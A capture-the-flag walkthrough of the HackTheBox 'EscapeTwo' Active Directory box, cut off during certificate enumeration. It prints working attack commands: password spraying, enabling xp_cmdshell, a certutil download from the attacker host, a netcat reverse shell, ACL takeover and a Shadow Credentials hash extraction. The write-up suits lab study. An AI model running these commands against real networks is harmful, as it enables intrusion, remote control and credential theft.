EscapeTwo – HackTheBox Link to heading
- OS: Windows
- Difficulty: Easy
- Platform: HackTheBox
Summary Link to heading
“EscapeTwo” is an easy box from HackTheBox
platform focused on Active Directory
. We start with initial credentials provided for a first user. This user has access to a file that contains multiple passwords. One of these passwords work for a user in the system, allowing us to pivot to a second user. Additionally, this password works to access a Microsoft SQL Server
(MSSQL
) service in the system, where we are allowed to execute system commands and gain initial access to the victim machine. Once inside, we are able to read configuration files for SQL
services, where a credential found is used for a third user in the system. This third user has WriteOwner
permissions over a CA
(Certifcate Authority
) account, which allow us to perform a Shadow Credential
attack and extract its NT
hash. Finally, using this last CA
user, we find a certificate vulnerable to ESC4
. This allow us to request a certificate file in behalf of Administrator
user, extract its NT
hash and take control of the domain.
User Link to heading
rose
and password KxEPkKe6R8su
.User Link to heading
We start looking for open TCP
ports in the victim machine with a quick and silent Nmap
scan:
❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv
Nmap
scan shows multiple ports open: 53
DNS
, 88
Kerberos
, 135
Microsoft RPC
, 389
LDAP
, 445
SMB
, 1433
Microsoft SQL Server
(MSSQL
), 5985
Windows Remote Management
(WinRM
); among many others:
❯ sudo nmap -sVC -p53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49687,49692,49716,49725,49796 10.10.11.51
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-14 03:43 -03
Nmap scan report for 10.10.11.51
Host is up (0.31s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-01-14 06:43:53Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-14T06:45:34+00:00; +3s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after: 2025-06-08T17:35:00
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-14T06:45:33+00:00; +2s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after: 2025-06-08T17:35:00
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info:
| 10.10.11.51:1433:
| Target_Name: SEQUEL
| NetBIOS_Domain_Name: SEQUEL
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: sequel.htb
| DNS_Computer_Name: DC01.sequel.htb
| DNS_Tree_Name: sequel.htb
|_ Product_Version: 10.0.17763
|_ssl-date: 2025-01-14T06:45:34+00:00; +2s from scanner time.
| ms-sql-info:
| 10.10.11.51:1433:
| Version:
| name: Microsoft SQL Server 2019 RTM
| number: 15.00.2000.00
| Product: Microsoft SQL Server 2019
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-01-13T20:46:30
|_Not valid after: 2055-01-13T20:46:30
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-14T06:45:34+00:00; +3s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after: 2025-06-08T17:35:00
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-14T06:45:33+00:00; +2s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after: 2025-06-08T17:35:00
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49685/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49686/tcp open msrpc Microsoft Windows RPC
49687/tcp open msrpc Microsoft Windows RPC
49692/tcp open msrpc Microsoft Windows RPC
49716/tcp open msrpc Microsoft Windows RPC
49725/tcp open msrpc Microsoft Windows RPC
49796/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: mean: 2s, deviation: 0s, median: 1s
| smb2-time:
| date: 2025-01-14T06:44:56
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 115.23 seconds
Using NetExec
against SMB
service shows that we have a machine named DC01
and a domain sequel.htb
:
❯ nxc smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su'
SMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.51 445 DC01 [+] sequel.htb\rose:KxEPkKe6R8su
We then add the FQDN
(DC01.sequel.htb
), machine name and domain to our /etc/hosts
file since we can see this is the domain controller of an Active Directory
domain due to its name (DC -> Domain Controller
):
❯ echo '10.10.11.51 DC01 DC01.sequel.htb sequel.htb' | sudo tee -a /etc/hosts
Looking for SMB
shares available for this user we can see 2 non-default shares; one called Accounting Department
and another one called Users
:
❯ nxc smb dc01.sequel.htb -u 'rose' -p 'KxEPkKe6R8su' --shares
SMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.51 445 DC01 [+] sequel.htb\rose:KxEPkKe6R8su
SMB 10.10.11.51 445 DC01 [*] Enumerated shares
SMB 10.10.11.51 445 DC01 Share Permissions Remark
SMB 10.10.11.51 445 DC01 ----- ----------- ------
SMB 10.10.11.51 445 DC01 Accounting Department READ
SMB 10.10.11.51 445 DC01 ADMIN$ Remote Admin
SMB 10.10.11.51 445 DC01 C$ Default share
SMB 10.10.11.51 445 DC01 IPC$ READ Remote IPC
SMB 10.10.11.51 445 DC01 NETLOGON READ Logon server share
SMB 10.10.11.51 445 DC01 SYSVOL READ Logon server share
SMB 10.10.11.51 445 DC01 Users READ
We can use, again, NetExec
to check contents inside Accounting Department
share. We use the flag --pattern .
that is a regular expression to specify that we want any output:
❯ nxc smb dc01.sequel.htb -u 'rose' -p 'KxEPkKe6R8su' --spider 'Accounting Department' --pattern .
SMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.51 445 DC01 [+] sequel.htb\rose:KxEPkKe6R8su
SMB 10.10.11.51 445 DC01 [*] Started spidering
SMB 10.10.11.51 445 DC01 [*] Spidering .
SMB 10.10.11.51 445 DC01 //10.10.11.51/Accounting Department/. [dir]
SMB 10.10.11.51 445 DC01 //10.10.11.51/Accounting Department/.. [dir]
SMB 10.10.11.51 445 DC01 //10.10.11.51/Accounting Department/accounting_2024.xlsx [lastm:'2024-06-09 07:11' size:10217]
SMB 10.10.11.51 445 DC01 //10.10.11.51/Accounting Department/accounts.xlsx [lastm:'2024-06-09 07:11' size:6780]
SMB 10.10.11.51 445 DC01 [*] Done spidering (Completed in 1.4340341091156006)
We can see 2 files: accounting_2024.xlsx
and accounts.xlsx
.
We can download these files using NetExec
as well:
❯ nxc smb dc01.sequel.htb -u 'rose' -p 'KxEPkKe6R8su' --share 'Accounting Department' --get-file accounting_2024.xlsx accounting_2024.xlsx
SMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.51 445 DC01 [+] sequel.htb\rose:KxEPkKe6R8su
SMB 10.10.11.51 445 DC01 [*] Copying "accounting_2024.xlsx" to "accounting_2024.xlsx"
SMB 10.10.11.51 445 DC01 [+] File "accounting_2024.xlsx" was downloaded to "accounting_2024.xlsx"
❯ nxc smb dc01.sequel.htb -u 'rose' -p 'KxEPkKe6R8su' --share 'Accounting Department' --get-file accounts.xlsx accounts.xlsx
SMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.51 445 DC01 [+] sequel.htb\rose:KxEPkKe6R8su
SMB 10.10.11.51 445 DC01 [*] Copying "accounts.xlsx" to "accounts.xlsx"
SMB 10.10.11.51 445 DC01 [+] File "accounts.xlsx" was downloaded to "accounts.xlsx"
These are .xlsx
files:
XLSX
files are a zipped, XML-based excel file format created by Microsoft Excel
Once we have downloaded these files, we need to extract its content. For this we can create a new directory that will store all the extracted data from these files:
❯ mkdir accounts_content
❯ xdg-open accounts.xlsx
and extract its content using the GUI format:
In my case I got an error that some files could not be extracted, but could extract most of them:
❯ tree -f .
.
├── ./[Content_Types].xml
├── ./docProps
│ ├── ./docProps/app.xml
│ ├── ./docProps/core.xml
│ └── ./docProps/custom.xml
├── ./_rels
└── ./xl
├── ./xl/_rels
│ └── ./xl/_rels/workbook.xml.rels
├── ./xl/sharedStrings.xml
├── ./xl/styles.xml
├── ./xl/theme
│ └── ./xl/theme/theme1.xml
├── ./xl/workbook.xml
└── ./xl/worksheets
├── ./xl/worksheets/_rels
│ └── ./xl/worksheets/_rels/sheet1.xml.rels
└── ./xl/worksheets/sheet1.xml
8 directories, 11 files
We then search for the string password
using grep
in the extracted files:
❯ grep -ir 'password' . 2>/dev/null
./xl/sharedStrings.xml:<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="25" uniqueCount="24"><si><t xml:space="preserve">First Name</t></si><si><t xml:space="preserve">Last Name</t></si><si><t xml:space="preserve">Email</t></si><si><t xml:space="preserve">Username</t></si><si><t xml:space="preserve">Password</t></si><si><t xml:space="preserve">Angela</t></si><si><t xml:space="preserve">Martin</t></si><si><t xml:space="preserve">angela@sequel.htb</t></si><si><t xml:space="preserve">angela</t></si><si><t xml:space="preserve">0fwz7Q4mSpurIt99</t></si><si><t xml:space="preserve">Oscar</t></si><si><t xml:space="preserve">Martinez</t></si><si><t xml:space="preserve">oscar@sequel.htb</t></si><si><t xml:space="preserve">oscar</t></si><si><t xml:space="preserve">86LxLBMgEWaKUnBG</t></si><si><t xml:space="preserve">Kevin</t></si><si><t xml:space="preserve">Malone</t></si><si><t xml:space="preserve">kevin@sequel.htb</t></si><si><t xml:space="preserve">kevin</t></si><si><t xml:space="preserve">Md9Wlq1E5bZnVDVo</t></si><si><t xml:space="preserve">NULL</t></si><si><t xml:space="preserve">sa@sequel.htb</t></si><si><t xml:space="preserve">sa</t></si><si><t xml:space="preserve">MSSQLP@ssw0rd!</t></si></sst>
The file xl/sharedStrings.xml
has something.
To have a better view of this file we can open it using LibreOffice
or just use any online page that opens .xml
files. Since I like to complicate my life, I create a Python
script to read the .xml
file:
#!/usr/bin/python3
import xml.etree.ElementTree as ET
def parse_shared_strings(xml_file):
# Parse the XML file
tree = ET.parse(xml_file)
root = tree.getroot()
namespace = {'ns': 'http://schemas.openxmlformats.org/spreadsheetml/2006/main'}
# Extract text from all <t> tags
data = [elem.text if elem.text != "NULL" else "<NULL>" for elem in root.findall(".//ns:t", namespace)]
updated_data = []
for i, value in enumerate(data):
updated_data.append(value)
if i % 5 == 0 and value == "<NULL>": # We have 5 fields in XML file
updated_data.append("<NULL>") # Add "<NULL>" for "Last Name"
return updated_data
def pretty_print(data):
# Group data into rows of 5 (assuming each row has 5 fields)
rows = [data[i:i+5] for i in range(0, len(data), 5)]
# Print header
print("{:<12} {:<12} {:<25} {:<12} {:<20}".format("First Name", "Last Name", "Email", "Username", "Password"))
print("-" * 85)
# Print rows
for row in rows:
print("{:<12} {:<12} {:<25} {:<12} {:<20}".format(*row))
if __name__ == "__main__":
# Path to the XML file
xml_file = "./xl/sharedStrings.xml"
# Parse the data
data = parse_shared_strings(xml_file)
# Pretty print the data
pretty_print(data)
and run it:
❯ python3 xml_viewver.py
First Name Last Name Email Username Password
-------------------------------------------------------------------------------------
First Name Last Name Email Username Password
Angela Martin angela@sequel.htb angela 0fwz7Q4mSpurIt99
Oscar Martinez oscar@sequel.htb oscar 86LxLBMgEWaKUnBG
Kevin Malone kevin@sequel.htb kevin Md9Wlq1E5bZnVDVo
<NULL> <NULL> sa@sequel.htb sa MSSQLP@ssw0rd!
We have 4 usernames and passwords.
We can save all the users in a file:
❯ python3 xml_viewver.py | tail -n 4 | awk '{print $4}' > potential_users.txt
and all the passwords in another file:
❯ python3 xml_viewver.py | tail -n 4 | awk '{print $5}' > potential_passwords.txt
Before doing a Password Spray
attack, it is also a good idea to check the number of attempts we can do before an accounts gets locked. We can do this with NetExec
and its --pass-pol
flag for SMB
service:
❯ nxc smb dc01.sequel.htb -u 'rose' -p 'KxEPkKe6R8su' --pass-pol
SMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.51 445 DC01 [+] sequel.htb\rose:KxEPkKe6R8su
SMB 10.10.11.51 445 DC01 [+] Dumping password info for domain: SEQUEL
SMB 10.10.11.51 445 DC01 Minimum password length: 7
SMB 10.10.11.51 445 DC01 Password history length: 24
SMB 10.10.11.51 445 DC01 Maximum password age: 41 days 23 hours 53 minutes
SMB 10.10.11.51 445 DC01
SMB 10.10.11.51 445 DC01 Password Complexity Flags: 000000
SMB 10.10.11.51 445 DC01 Domain Refuse Password Change: 0
SMB 10.10.11.51 445 DC01 Domain Password Store Cleartext: 0
SMB 10.10.11.51 445 DC01 Domain Password Lockout Admins: 0
SMB 10.10.11.51 445 DC01 Domain Password No Clear Change: 0
SMB 10.10.11.51 445 DC01 Domain Password No Anon Change: 0
SMB 10.10.11.51 445 DC01 Domain Password Complex: 0
SMB 10.10.11.51 445 DC01
SMB 10.10.11.51 445 DC01 Minimum password age: 1 day 4 minutes
SMB 10.10.11.51 445 DC01 Reset Account Lockout Counter: 10 minutes
SMB 10.10.11.51 445 DC01 Locked Account Duration: 10 minutes
SMB 10.10.11.51 445 DC01 Account Lockout Threshold: None
SMB 10.10.11.51 445 DC01 Forced Log off Time: Not Set
We basically have infinite attempts as expected for an Easy
box machine.
Password Spray
or we could lockout accounts.We use again NetExec
to check for credentials that could be useful:
❯ nxc smb dc01.sequel.htb -u potential_users.txt -p potential_passwords.txt --continue-on-success
SMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
<SNIP>
SMB 10.10.11.51 445 DC01 [-] sequel.htb\angela:86LxLBMgEWaKUnBG STATUS_LOGON_FAILURE
SMB 10.10.11.51 445 DC01 [+] sequel.htb\oscar:86LxLBMgEWaKUnBG
SMB 10.10.11.51 445 DC01 [-] sequel.htb\kevin:86LxLBMgEWaKUnBG STATUS_LOGON_FAILURE
<SNIP>
We have valid credentials: oscar:86LxLBMgEWaKUnBG
.
But this user does not have any new shared resource we have not seen before:
❯ nxc smb dc01.sequel.htb -u oscar -p '86LxLBMgEWaKUnBG' --shares
SMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.51 445 DC01 [+] sequel.htb\oscar:86LxLBMgEWaKUnBG
SMB 10.10.11.51 445 DC01 [*] Enumerated shares
SMB 10.10.11.51 445 DC01 Share Permissions Remark
SMB 10.10.11.51 445 DC01 ----- ----------- ------
SMB 10.10.11.51 445 DC01 Accounting Department READ
SMB 10.10.11.51 445 DC01 ADMIN$ Remote Admin
SMB 10.10.11.51 445 DC01 C$ Default share
SMB 10.10.11.51 445 DC01 IPC$ READ Remote IPC
SMB 10.10.11.51 445 DC01 NETLOGON READ Logon server share
SMB 10.10.11.51 445 DC01 SYSVOL READ Logon server share
SMB 10.10.11.51 445 DC01 Users READ
We also remember that MSSQL
was also running in the victim machine. We can also check if sa
credentials are valid for that service with the previously found credentials sa:MSSQLP@ssw0rd!
using --local-auth
flag in mssql
module in NetExec
to use MSSQL
login session (if we do not use --local-auth
we are using AD
session):
❯ nxc mssql dc01.sequel.htb -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth
MSSQL 10.10.11.51 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
MSSQL 10.10.11.51 1433 DC01 [+] DC01\sa:MSSQLP@ssw0rd! (Pwn3d!)
It worked. We have valid credentials for MSSQL
service.
We can then use impacket-mssqlclient
to log into this service:
❯ impacket-mssqlclient sa:'MSSQLP@ssw0rd!'@dc01.sequel.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL (sa dbo@master)>
Then, it is always a good idea going to HackTricks.
We check databases:
SQL (sa dbo@master)> SELECT name FROM master.dbo.sysdatabases;
name
------
master
tempdb
model
msdb
But these are the ones that comes by default on MSSQL
. So nothing interesting.
We can see if we can execute commands:
SQL (sa dbo@master)> EXEC xp_cmdshell "net user";
ERROR(DC01\SQLEXPRESS): Line 1: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', search for 'xp_cmdshell' in SQL Server Books Online.
We can’t.
But we can try to enable command execution:
SQL (sa dbo@master)> EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
It seems this has worked. If we try to execute commands now with xp_cmdshell
we get:
SQL (sa dbo@master)> EXEC xp_cmdshell "net user";
output
-------------------------------------------------------------------------------
NULL
User accounts for \\DC01
NULL
-------------------------------------------------------------------------------
Administrator ca_svc Guest
krbtgt michael oscar
rose ryan sql_svc
The command completed successfully.
NULL
NULL
Seems that this has worked.
We can then pass a netcat
binary to the victim machine. We can start a Python
HTTP
server on port 8000
exposing netcat
binary for Windows
:
❯ ls -la && python3 -m http.server 8000
total 56
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Jan 14 05:16 .
drwxrwxr-x 5 gunzf0x gunzf0x 4096 Jan 14 03:42 ..
-rw-r--r-- 1 gunzf0x gunzf0x 45272 Jan 14 05:16 nc64.exe
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
and use certutil
in the victim machine to download the file:
SQL (sa dbo@master)> EXEC xp_cmdshell "certutil.exe -urlcache -split -f http://10.10.16.3:8000/nc64.exe C:\Users\Public\Downloads\nc.exe";
output
---------------------------------------------------
**** Online ****
0000 ...
b0d8
CertUtil: -URLCache command completed successfully.
NULL
Start a netcat
listener in port 443
, along with rlwrap
to have some options like go to previous commands with keyboard arrows:
❯ rlwrap -cAr nc -lvnp 443
and pass the payload at impacket-mssqlclient
session:
SQL (sa dbo@master)> EXEC xp_cmdshell "C:\Users\Public\Downloads\nc.exe 10.10.16.3 443 -e cmd.exe";
We get a shell as sql_svc
user:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.51] 59982
Microsoft Windows [Version 10.0.17763.6659]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
sequel\sql_svc
At C:\
directory there is a SQL2019
directory:
C:\Windows\system32>dir C:\
dir C:\
Volume in drive C has no label.
Volume Serial Number is 3705-289D
Directory of C:\
11/05/2022 11:03 AM <DIR> PerfLogs
01/04/2025 07:11 AM <DIR> Program Files
06/09/2024 07:37 AM <DIR> Program Files (x86)
06/08/2024 02:07 PM <DIR> SQL2019
06/09/2024 05:42 AM <DIR> Users
01/04/2025 08:10 AM <DIR> Windows
0 File(s) 0 bytes
6 Dir(s) 2,178,764,800 bytes free
Looking for configuration files we have many of them:
C:\SQL2019>tree /f . | findstr /i conf
tree /f . | findstr /i conf
SETUP.EXE.CONFIG
sql-Configuration.INI
CONFIGURATION.UICFG
<SNIP>
Excluding .exe
and .dll
files, we have some .xml
and .ini
files. This page suggests that for MSSQL
services we should have configurations at .ini
files.
Therefore, we check sql-Configuration.INI
and get something:
C:\SQL2019>type C:\SQL2019\ExpressAdv_ENU\sql-Configuration.INI | findstr /i password
type C:\SQL2019\ExpressAdv_ENU\sql-Configuration.INI | findstr /i password
SQLSVCPASSWORD="WqSZAF6CysDQbGb3"
We have a password: WqSZAF6CysDQbGb3
.
We can then search for users in this machine:
C:\SQL2019>net user
net user
User accounts for \\DC01
-------------------------------------------------------------------------------
Administrator ca_svc Guest
krbtgt michael oscar
rose ryan sql_svc
The command completed successfully.
Besides oscar
and rose
(whose passwords we already know), we have 3 new users: michael
, ca_svc
and ryan
. We can, as usual, use NetExec
to check if this is a valid password for any of these users:
❯ nxc smb dc01.sequel.htb -u michael ca_svc ryan -p 'WqSZAF6CysDQbGb3'
SMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.51 445 DC01 [-] sequel.htb\michael:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE
SMB 10.10.11.51 445 DC01 [-] sequel.htb\ca_svc:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE
SMB 10.10.11.51 445 DC01 [+] sequel.htb\ryan:WqSZAF6CysDQbGb3
We have valid credentials: ryan:WqSZAF6CysDQbGb3
.
ryan
user is part of Remote Management Users
:
C:\SQL2019>net user ryan
net user ryan
User name ryan
Full Name Ryan Howard
<SNIP>
Last logon 1/13/2025 3:39:27 PM
Logon hours allowed All
Local Group Memberships *Remote Management Use
Global Group memberships *Management Department*Domain Users
The command completed successfully.
so we should be able to connect with WinRM
to the victim machine:
❯ nxc winrm dc01.sequel.htb -u ryan -p 'WqSZAF6CysDQbGb3'
WINRM 10.10.11.51 5985 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
WINRM 10.10.11.51 5985 DC01 [+] sequel.htb\ryan:WqSZAF6CysDQbGb3 (Pwn3d!)
Therefore, use evil-winrm
to connect as ryan
user in the victim machine:
❯ evil-winrm -i dc01.sequel.htb -u 'ryan' -p 'WqSZAF6CysDQbGb3'
Evil-WinRM shell v3.6
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\ryan\Documents>
NT Authority/System - Administrator Link to heading
What catches my attention while we used net user
is that there is a ca_svc
user. CA
is usually the acronym for Certification Authority
in Active Directory
environments. To analyze the AD
environment we will use Bloodhound
. To get relations in the domain we will use SharpHound
. Grab a copy of it from its Github repository, unzip/decompress the content and pass the .exe
file to the victim machine using upload
command from evil-winrm
:
*Evil-WinRM* PS C:\Users\ryan\Documents> upload SharpHound.exe
and execute SharpHound
to collect data about AD
environment:
*Evil-WinRM* PS C:\Users\ryan\Documents> .\SharpHound.exe -c All
2025-01-14T00:47:24.0440447-08:00|INFORMATION|This version of SharpHound is compatible with the 5.0.0 Release of BloodHound
2025-01-14T00:47:24.2784202-08:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote, UserRights, CARegistry, DCRegistry, CertServices
<SNIP>
1 name to SID mappings.
1 machine sid mappings.
4 sid to domain mappings.
0 global catalog mappings.
2025-01-14T00:47:26.6377987-08:00|INFORMATION|SharpHound Enumeration Completed at 12:47 AM on 1/14/2025! Happy Graphing!
This should have generated a .zip
file:
*Evil-WinRM* PS C:\Users\ryan\Documents> ls
Directory: C:\Users\ryan\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 1/14/2025 12:47 AM 34959 20250114004725_BloodHound.zip
-a---- 1/14/2025 12:47 AM 1523 NGZlZGJhNTUtZGMxZi00MzRhLTkxYzUtZWNjYjM1NGU4YzNl.bin
-a---- 1/14/2025 12:46 AM 1556480 SharpHound.exe
Use download
command from evil-winrm
to download this file into our attacker machine:
*Evil-WinRM* PS C:\Users\ryan\Documents> download 20250114004725_BloodHound.zip
Info: Downloading C:\Users\ryan\Documents\20250114004725_BloodHound.zip to 20250114004725_BloodHound.zip
Info: Download successful!
We upload the generated .zip
file to Bloodhound
(in my case I will use the Community Edition
, or CE
). We search for ryan
user and click on Outbound Object Control
. We can see:
We have WriteOwner
rights over ca_svc
account:
WriteOwner
means that we can grant us full rights over ca_svc
account, or we could change its password.
First, we can set us (ryan
user) as the owner of the object/target (ca_svc
) using bloodyAD
:
❯ bloodyAD --host '10.10.11.51' -d 'sequel.htb' -u 'ryan' -p 'WqSZAF6CysDQbGb3' set owner 'ca_svc' 'ryan'
[+] Old owner S-1-5-21-548670397-972687484-3496335370-512 is now replaced by ryan on ca_svc
and grant us full control over ca_svc
account with dacledit.py
from Impacket
:
❯ impacket-dacledit -action 'write' -rights 'FullControl' -principal 'ryan' -target 'ca_svc' SEQUEL.HTB/ryan:'WqSZAF6CysDQbGb3'
[*] DACL backed up to dacledit-20250114-061524.bak
[*] DACL modified successfully!
We can then attempt a Shadow Credentials
attack (we could also change the password of ca_svc
account, but in reality we should avoid this) to obtain the NTLM
hash for ca_svc
account. For this we could use PyWhisker
. But recently I have also discovered that we can do this with Certipy
tool (which can be downloaded from its Github repository and installed with pip3 install certipy-ad
). We use it then to perform this attack:
❯ certipy shadow auto -username ryan@sequel.htb -password 'WqSZAF6CysDQbGb3' -account 'ca_svc'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Targeting user 'ca_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '98a79799-8c39-847d-a6b5-98c64a4fc496'
[*] Adding Key Credential with device ID '98a79799-8c39-847d-a6b5-98c64a4fc496' to the Key Credentials for 'ca_svc'
[*] Successfully added Key Credential with device ID '98a79799-8c39-847d-a6b5-98c64a4fc496' to the Key Credentials for 'ca_svc'
[*] Authenticating as 'ca_svc' with the certificate
[*] Using principal: ca_svc@sequel.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'ca_svc.ccache'
[*] Trying to retrieve NT hash for 'ca_svc'
[*] Restoring the old Key Credentials for 'ca_svc'
[*] Successfully restored the old Key Credentials for 'ca_svc'
[*] NT hash for 'ca_svc': 3b181b914e7a9d5508ea1e20bc2b7fce
We got a hash for ca_svc
account.
As usual, use NetExec
to check if this hash is valid:
❯ nxc smb DC01.sequel.htb -u 'ca_svc' -H '3b181b914e7a9d5508ea1e20bc2b7fce'
SMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.51 445 DC01 [+] sequel.htb\ca_svc:3b181b914e7a9d5508ea1e20bc2b7fce
It is a valid hash.
But this user does not have interesting rights over other users or accounts:
However, as its name says, we should be able to deal with certificates with this account. To authenticate from the outside with this account, we can use its hash with Certipy
searching for vulnerable certificates:
❯ certipy find -username 'ca_svc'@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' -dc-ip 10.10.11.51 -target dc01.sequel.htb -vulnerable -enabled
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'sequel-DC01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'sequel-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
